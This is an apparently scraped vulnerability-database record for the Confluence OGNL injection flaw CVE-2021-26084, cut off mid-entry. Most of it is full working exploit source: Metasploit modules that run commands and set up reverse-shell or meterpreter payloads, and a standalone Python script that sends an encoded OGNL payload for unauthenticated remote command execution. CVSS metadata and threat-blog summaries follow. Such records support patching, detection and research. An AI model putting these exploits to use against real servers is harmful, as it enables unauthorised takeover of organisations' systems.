MetasploitModule < Msf::Exploit::Remote\n\n Rank = ExcellentRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::CmdStager\n include Msf::Exploit::Powershell\n include Msf::Module::Deprecated\n\n # Added Windows support\n moved_from 'exploit/linux/http/atlassian_confluence_webwork_ognl_injection'\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Atlassian Confluence WebWork OGNL Injection',\n 'Description' => %q{\n This module exploits an OGNL injection in Atlassian Confluence's\n WebWork component to execute commands as the Tomcat user.\n },\n 'Author' => [\n 'Benny Jacob', # Discovery\n 'Jang', # Analysis\n 'wvu' # Analysis and exploit\n ],\n 'References' => [\n ['CVE', '2021-26084'],\n ['URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html'],\n ['URL', 'https://jira.atlassian.com/browse/CONFSERVER-67940'],\n ['URL', 'https://attackerkb.com/topics/Eu74wdMbEL/cve-2021-26084-confluence-server-ognl-injection/rapid7-analysis'],\n ['URL', 'https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md'],\n ['URL', 'https://testbnull.medium.com/atlassian-confluence-pre-auth-rce-cve-2021-26084-v%C3%A0-c%C3%A2u-chuy%E1%BB%87n-v%E1%BB%81-%C4%91i%E1%BB%83m-m%C3%B9-khi-t%C3%ACm-bug-43ab36b6c455'],\n ['URL', 'https://tradahacking.vn/atlassian-confluence-cve-2021-26084-the-other-side-of-bug-bounty-45ed19c814f6']\n ],\n 'DisclosureDate' => '2021-08-25',\n 'License' => MSF_LICENSE,\n 'Platform' => ['unix', 'linux', 'win'],\n 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n 'Privileged' => false,\n 'Targets' => [\n [\n 'Unix Command',\n {\n 'Platform' => 'unix',\n 'Arch' => ARCH_CMD,\n 'Type' => :cmd,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'cmd/unix/reverse_perl'\n }\n }\n ],\n [\n 'Linux Dropper',\n {\n 'Platform' => 'linux',\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :dropper,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'\n }\n }\n ],\n [\n 'Windows Command',\n {\n 'Platform' => 'win',\n 'Arch' => ARCH_CMD,\n 'Type' => :cmd,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'\n }\n }\n ],\n [\n 'Windows Dropper',\n {\n 'Platform' => 'win',\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :dropper,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'\n }\n }\n ],\n [\n 'PowerShell Stager',\n {\n 'Platform' => 'win',\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :psh,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'\n }\n }\n ]\n ],\n 'DefaultTarget' => 0,\n 'DefaultOptions' => {\n 'RPORT' => 8090\n },\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [REPEATABLE_SESSION],\n 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n }\n )\n )\n\n register_options([\n OptString.new('TARGETURI', [true, 'Base path', '/'])\n ])\n end\n\n def check\n token1 = rand_text_alphanumeric(8..16)\n token2 = rand_text_alphanumeric(8..16)\n token3 = rand_text_alphanumeric(8..16)\n\n res = inject_ognl(\"#{token1}'+'#{token2}'+'#{token3}\")\n\n return CheckCode::Unknown unless res\n\n unless res.code == 200 && res.body.include?(\"#{token1}#{token2}#{token3}\")\n return CheckCode::Safe('Failed to test OGNL injection.')\n end\n\n CheckCode::Vulnerable('Successfully tested OGNL injection.')\n end\n\n def exploit\n print_status(\"Executing #{payload_instance.refname} (#{target.name})\")\n\n case target['Type']\n when :cmd\n execute_command(payload.encoded)\n when :dropper\n execute_cmdstager\n when :psh\n execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true))\n end\n end\n\n def execute_command(cmd, _opts = {})\n res = inject_ognl(ognl_payload(cmd))\n\n unless res&.code == 200 && res.body.match?(/queryString.*Process.*pid.*exitValue/)\n fail_with(Failure::PayloadFailed, \"Failed to execute command: #{cmd}\")\n end\n\n vprint_good(\"Successfully executed command: #{cmd}\")\n end\n\n def inject_ognl(ognl)\n send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, '/pages/createpage-entervariables.action'),\n 'vars_post' => {\n # https://commons.apache.org/proper/commons-ognl/apidocs/org/apache/commons/ognl/JavaCharStream.html\n # https://github.com/jkuhnert/ognl/blob/f4e18cda6a89bcdad15c617c0d94013a854a1e93/src/main/java/ognl/JavaCharStream.java#L324-L341\n 'queryString' => Rex::Text.to_hex(ognl, '\\\\u00')\n }\n )\n end\n\n def ognl_payload(cmd)\n # https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#expression-language-el---code-execution\n # https://www.tutorialspoint.com/java/lang/class_forname_loader.htm\n # https://docs.oracle.com/javase/7/docs/api/java/lang/ProcessBuilder.html\n # https://docs.oracle.com/javase/8/docs/api/java/util/Base64.Decoder.html\n <<~OGNL.gsub(/^\\s+/, '').tr(\"\\n\", '')\n '+Class.forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval('\n new java.lang.ProcessBuilder(\n #{target_shell},\n new java.lang.String(\n java.util.Base64.getDecoder().decode(\"#{Rex::Text.encode_base64(cmd)}\")\n )\n ).start()\n ')+'\n OGNL\n end\n\n def target_shell\n target['Platform'] == 'win' ? '\"cmd.exe\",\"/c\"' : '\"/bin/sh\",\"-c\"'\n end\n\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/atlassian_confluence_webwork_ognl_injection.rb", "cvss": {"score": 0.0, "vector": "NONE"}}], "zdt": [{"lastseen": "2023-05-27T14:46:14", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-10T00:00:00", "type": "zdt", "title": "Atlassian Confluence WebWork OGNL Injection Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2021-09-10T00:00:00", "id": "1337DAY-ID-36730", "href": "https://0day.today/exploit/description/36730", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n\n Rank = ExcellentRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::CmdStager\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Atlassian Confluence WebWork OGNL Injection',\n 'Description' => %q{\n This module exploits an OGNL injection in Atlassian Confluence's\n WebWork component to execute commands as the Tomcat user.\n },\n 'Author' => [\n 'Benny Jacob', # Discovery\n 'Jang', # Analysis\n 'wvu' # Analysis and exploit\n ],\n 'References' => [\n ['CVE', '2021-26084'],\n ['URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html'],\n ['URL', 'https://jira.atlassian.com/browse/CONFSERVER-67940'],\n ['URL', 'https://attackerkb.com/topics/Eu74wdMbEL/cve-2021-26084-confluence-server-ognl-injection/rapid7-analysis'],\n ['URL', 'https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md'],\n ['URL', 'https://testbnull.medium.com/atlassian-confluence-pre-auth-rce-cve-2021-26084-v%C3%A0-c%C3%A2u-chuy%E1%BB%87n-v%E1%BB%81-%C4%91i%E1%BB%83m-m%C3%B9-khi-t%C3%ACm-bug-43ab36b6c455'],\n ['URL', 'https://tradahacking.vn/atlassian-confluence-cve-2021-26084-the-other-side-of-bug-bounty-45ed19c814f6']\n ],\n 'DisclosureDate' => '2021-08-25', # Vendor advisory\n 'License' => MSF_LICENSE,\n 'Platform' => ['unix', 'linux'], # TODO: Windows?\n 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n 'Privileged' => false, # Tomcat user\n 'Targets' => [\n [\n 'Unix Command',\n {\n 'Platform' => 'unix',\n 'Arch' => ARCH_CMD,\n 'Type' => :unix_cmd,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'cmd/unix/reverse_bash'\n }\n }\n ],\n [\n 'Linux Dropper',\n {\n 'Platform' => 'linux',\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :linux_dropper,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'\n }\n }\n ]\n ],\n 'DefaultTarget' => 0,\n 'DefaultOptions' => {\n 'RPORT' => 8090\n },\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [REPEATABLE_SESSION],\n 'SideEffects' => [\n # /var/atlassian/application-data/confluence/analytics-logs/*.atlassian-analytics.log\n # /var/atlassian/application-data/confluence/logs/atlassian-confluence.log\n IOC_IN_LOGS,\n ARTIFACTS_ON_DISK # CmdStager\n ]\n }\n )\n )\n\n register_options([\n OptString.new('TARGETURI', [true, 'Base path', '/'])\n ])\n end\n\n def check\n token1 = rand_text_alphanumeric(8..16)\n token2 = rand_text_alphanumeric(8..16)\n token3 = rand_text_alphanumeric(8..16)\n\n res = inject_ognl(\"#{token1}'+'#{token2}'+'#{token3}\")\n\n return CheckCode::Unknown unless res\n\n unless res.code == 200 && res.body.include?(\"#{token1}#{token2}#{token3}\")\n return CheckCode::Safe('Failed to test OGNL injection.')\n end\n\n CheckCode::Vulnerable('Successfully tested OGNL injection.')\n end\n\n def exploit\n print_status(\"Executing #{payload_instance.refname} (#{target.name})\")\n\n case target['Type']\n when :unix_cmd\n execute_command(payload.encoded)\n when :linux_dropper\n execute_cmdstager\n end\n end\n\n def execute_command(cmd, _opts = {})\n res = inject_ognl(ognl_payload(cmd))\n\n unless res&.code == 200 && res.body.match?(/queryString.*Process.*pid.*exitValue/)\n fail_with(Failure::PayloadFailed, \"Failed to execute command: #{cmd}\")\n end\n\n vprint_good(\"Successfully executed command: #{cmd}\")\n end\n\n def inject_ognl(ognl)\n send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, '/pages/createpage-entervariables.action'),\n 'vars_post' => {\n # https://commons.apache.org/proper/commons-ognl/apidocs/org/apache/commons/ognl/JavaCharStream.html\n # https://github.com/jkuhnert/ognl/blob/f4e18cda6a89bcdad15c617c0d94013a854a1e93/src/main/java/ognl/JavaCharStream.java#L324-L341\n 'queryString' => Rex::Text.to_hex(ognl, '\\\\u00')\n }\n )\n end\n\n def ognl_payload(cmd)\n # https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#expression-language-el---code-execution\n # https://www.tutorialspoint.com/java/lang/class_forname_loader.htm\n # https://docs.oracle.com/javase/7/docs/api/java/lang/ProcessBuilder.html\n # https://docs.oracle.com/javase/8/docs/api/java/util/Base64.Decoder.html\n <<~OGNL.gsub(/^\\s+/, '').tr(\"\\n\", '')\n '+Class.forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval('\n new java.lang.ProcessBuilder(\n \"/bin/bash\",\n \"-c\",\n new java.lang.String(\n java.util.Base64.getDecoder().decode(\"#{Rex::Text.encode_base64(cmd)}\")\n )\n ).start()\n ')+'\n OGNL\n end\n\nend\n", "sourceHref": "https://0day.today/exploit/36730", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-12-04T15:51:16", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-01T00:00:00", "type": "zdt", "title": "Confluence Server 7.12.4 - (OGNL injection) Remote Code Execution Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2021-09-01T00:00:00", "id": "1337DAY-ID-36694", "href": "https://0day.today/exploit/description/36694", "sourceData": "# Exploit Title: Confluence Server 7.12.4 - 'OGNL injection' Remote Code Execution (RCE) (Unauthenticated)\n# Exploit Author: h3v0x\n# Vendor Homepage: https://www.atlassian.com/\n# Software Link: https://www.atlassian.com/software/confluence/download-archives\n# Version: All < 7.12.x versions before 7.12.5\n# Tested on: Linux Distros \n# CVE : CVE-2021-26084\n\n#!/usr/bin/python3\n\n# References: \n# https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html\n# https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md\n\nimport requests\nfrom bs4 import BeautifulSoup\nimport optparse\n\nparser = optparse.OptionParser()\nparser.add_option('-u', '--url', action=\"store\", dest=\"url\", help=\"Base target host: http://confluencexxx.com\")\nparser.add_option('-p', '--path', action=\"store\", dest=\"path\", help=\"Path to exploitation: /pages/createpage-entervariables.action?SpaceKey=x\")\n\noptions, args = parser.parse_args()\nsession = requests.Session()\n\nurl_vuln = options.url\nendpoint = options.path\n\nif not options.url or not options.path:\n\n print('[+] Specify an url target')\n print('[+] Example usage: exploit.py -u http://xxxxx.com -p /pages/createpage-entervariables.action?SpaceKey=x')\n print('[+] Example help usage: exploit.py -h')\n exit()\n\n\ndef banner():\n\n print('---------------------------------------------------------------')\n print('[-] Confluence Server Webwork OGNL injection')\n print('[-] CVE-2021-26084')\n print('[-] https://github.com/h3v0x')\n print('--------------------------------------------------------------- \\n')\n\n\ndef cmdExec():\n\n while True:\n cmd = input('> ')\n xpl_url = url_vuln + endpoint\n xpl_headers = {\"User-Agent\": \"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36\", \"Connection\": \"close\", \"Content-Type\": \"application/x-www-form-urlencoded\", \"Accept-Encoding\": \"gzip, deflate\"}\n xpl_data = {\"queryString\": \"aaaaaaaa\\\\u0027+{Class.forName(\\\\u0027javax.script.ScriptEngineManager\\\\u0027).newInstance().getEngineByName(\\\\u0027JavaScript\\\\u0027).\\\\u0065val(\\\\u0027var isWin = java.lang.System.getProperty(\\\\u0022os.name\\\\u0022).toLowerCase().contains(\\\\u0022win\\\\u0022); var cmd = new java.lang.String(\\\\u0022\"+cmd+\"\\\\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\\\\u0022cmd.exe\\\\u0022, \\\\u0022/c\\\\u0022, cmd); } else{p.command(\\\\u0022bash\\\\u0022, \\\\u0022-c\\\\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = \\\\u0022\\\\u0022; var output = \\\\u0022\\\\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\\\\u0027)}+\\\\u0027\"}\n rawHTML = session.post(xpl_url, headers=xpl_headers, data=xpl_data)\n\n soup = BeautifulSoup(rawHTML.text, 'html.parser')\n queryStringValue = soup.find('input',attrs = {'name':'queryString', 'type':'hidden'})['value']\n print(queryStringValue)\n\n\nbanner()\ncmdExec()\n", "sourceHref": "https://0day.today/exploit/36694", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-12T01:18:07", "description": "This Metasploit module exploits an OGNL injection in Atlassian Confluence servers. A specially crafted URI can be used to evaluate an OGNL expression resulting in OS command execution.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-06-09T00:00:00", "type": "zdt", "title": "Atlassian Confluence Namespace OGNL Injection Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084", "CVE-2022-26134"], "modified": "2022-06-09T00:00:00", "id": "1337DAY-ID-37781", "href": "https://0day.today/exploit/description/37781", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n\n Rank = ExcellentRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::CmdStager\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Atlassian Confluence Namespace OGNL Injection',\n 'Description' => %q{\n This module exploits an OGNL injection in Atlassian Confluence servers. A specially crafted URI can be used to\n evaluate an OGNL expression resulting in OS command execution.\n },\n 'Author' => [\n 'Unknown', # exploited in the wild\n 'bturner-r7',\n 'jbaines-r7',\n 'Spencer McIntyre'\n ],\n 'References' => [\n ['CVE', '2021-26084'],\n ['URL', 'https://jira.atlassian.com/browse/CONFSERVER-79000?src=confmacro'],\n ['URL', 'https://gist.githubusercontent.com/bturner-r7/1d0b62fac85235b94f1c95cc4c03fcf3/raw/478e53b6f68b5150eefd53e0956f23d53618d250/confluence-exploit.py'],\n ['URL', 'https://github.com/jbaines-r7/through_the_wire'],\n ['URL', 'https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis']\n ],\n 'DisclosureDate' => '2022-06-02',\n 'License' => MSF_LICENSE,\n 'Platform' => ['unix', 'linux'],\n 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n 'Privileged' => false,\n 'Targets' => [\n [\n 'Unix Command',\n {\n 'Platform' => 'unix',\n 'Arch' => ARCH_CMD,\n 'Type' => :cmd\n }\n ],\n [\n 'Linux Dropper',\n {\n 'Platform' => 'linux',\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :dropper\n }\n ]\n ],\n 'DefaultTarget' => 0,\n 'DefaultOptions' => {\n 'RPORT' => 8090\n },\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [REPEATABLE_SESSION],\n 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n }\n )\n )\n\n register_options([\n OptString.new('TARGETURI', [true, 'Base path', '/'])\n ])\n end\n\n def check\n version = get_confluence_version\n return CheckCode::Unknown unless version\n\n vprint_status(\"Detected Confluence version: #{version}\")\n header = \"X-#{Rex::Text.rand_text_alphanumeric(10..15)}\"\n res = inject_ognl('', header: header) # empty command works for testing, the header will be set\n\n return CheckCode::Unknown unless res\n\n unless res && res.headers.include?(header)\n return CheckCode::Safe('Failed to test OGNL injection.')\n end\n\n CheckCode::Vulnerable('Successfully tested OGNL injection.')\n end\n\n def get_confluence_version\n return @confluence_version if @confluence_version\n\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri.path, 'login.action')\n )\n return nil unless res&.code == 200\n\n poweredby = res.get_xml_document.xpath('//ul[@id=\"poweredby\"]/li[@class=\"print-only\"]/text()').first&.text\n return nil unless poweredby =~ /Confluence (\\d+(\\.\\d+)*)/\n\n @confluence_version = Rex::Version.new(Regexp.last_match(1))\n @confluence_version\n end\n\n def exploit\n print_status(\"Executing #{payload_instance.refname} (#{target.name})\")\n\n case target['Type']\n when :cmd\n execute_command(payload.encoded)\n when :dropper\n execute_cmdstager\n end\n end\n\n def execute_command(cmd, _opts = {})\n header = \"X-#{Rex::Text.rand_text_alphanumeric(10..15)}\"\n res = inject_ognl(cmd, header: header)\n\n unless res && res.headers.include?(header)\n fail_with(Failure::PayloadFailed, \"Failed to execute command: #{cmd}\")\n end\n\n vprint_good(\"Successfully executed command: #{cmd}\")\n res.headers[header]\n end\n\n def inject_ognl(cmd, header:)\n send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, Rex::Text.uri_encode(ognl_payload(cmd, header: header)), 'dashboard.action'),\n 'headers' => { header => cmd }\n )\n end\n\n def ognl_payload(_cmd, header:)\n <<~OGNL.gsub(/^\\s+/, '').tr(\"\\n\", '')\n ${\n Class.forName(\"com.opensymphony.webwork.ServletActionContext\")\n .getMethod(\"getResponse\",null)\n .invoke(null,null)\n .setHeader(\"#{header}\",\n Class.forName(\"javax.script.ScriptEngineManager\")\n .newInstance()\n .getEngineByName(\"js\")\n .eval(\"java.lang.Runtime.getRuntime().exec([\n #{target['Platform'] == 'win' ? \"'cmd.exe','/c'\" : \"'/bin/sh','-c'\"},\n com.opensymphony.webwork.ServletActionContext.getRequest().getHeader('#{header}')\n ]); '#{Faker::Internet.uuid}'\")\n )\n }\n OGNL\n end\nend\n", "sourceHref": "https://0day.today/exploit/37781", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "trendmicroblog": [{"lastseen": "2021-09-21T16:35:19", "description": "Recently, we discovered that the cryptomining trojan z0Miner has been taking advantage of the Atlassian\u2019s Confluence remote code execution (RCE) vulnerability assigned as CVE-2021-26084, which was disclosed by Atlassian in August.", "cvss3": {}, "published": "2021-09-21T00:00:00", "type": "trendmicroblog", "title": "Cryptominer z0Miner Uses Newly Discovered Vulnerability CVE-2021-26084 to Its Advantage", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2021-26084"], "modified": "2021-09-21T00:00:00", "id": "TRENDMICROBLOG:1333714193E63A3E616DE66054C5D640", "href": "https://www.trendmicro.com/en_us/research/21/i/cryptominer-z0miner-uses-newly-discovered-vulnerability-cve-2021.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-11-10T18:37:14", "description": "We look into campaigns that exploit the following server vulnerabilities: CVE-2021-26084, CVE-2020-14882, CVE-2020-14750, and CVE-2020-14883.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-18T00:00:00", "type": "trendmicroblog", "title": "Tracking CVE-2021-26084 and Other Server-Based Vulnerability Exploits via Trend Micro Cloud One and Trend Micro Vision One", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-14750", "CVE-2020-14882", "CVE-2020-14883", "CVE-2021-26084"], "modified": "2021-10-18T00:00:00", "id": "TRENDMICROBLOG:608F794950B54766A75ABA93823701D0", "href": "https://www.trendmicro.com/en_us/research/21/j/tracking-cve-2021-26084-and-other-server-vulnerability-exploits.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-10-18T14:36:36", "description": "We look into campaigns that exploit the following server vulnerabilities: CVE-2021-26084, CVE-2020-14882, CVE-2020-14750, and CVE-2020-14883.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-18T00:00:00", "type": "trendmicroblog", "title": "Tracking CVE-2021-26084 and Other Server-Based Vulnerability Exploits via Trend Micro Cloud One and Trend Micro Vision One", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-14750", "CVE-2020-14882", "CVE-2020-14883", "CVE-2021-26084"], "modified": "2021-10-18T00:00:00", "id": "TRENDMICROBLOG:C00F7F935E0D1EAD0509B4C376B20A1F", "href": "https://www.trendmicro.com/en_us/research/21/j/tracking-cve-2021-26084-and-other-server-vulnerability-exploits.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "cve": [{"lastseen": "2023-05-27T14:30:47", "description": "In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-30T07:15:00", "type": "cve", "title": "CVE-2021-26084", "cwe": ["CWE-74"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2022-06-10T14:26:00", "cpe": [], "id": "CVE-2021-26084", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-26084", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": []}], "exploitdb": [{"lastseen": "2023-09-19T16:55:51", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": 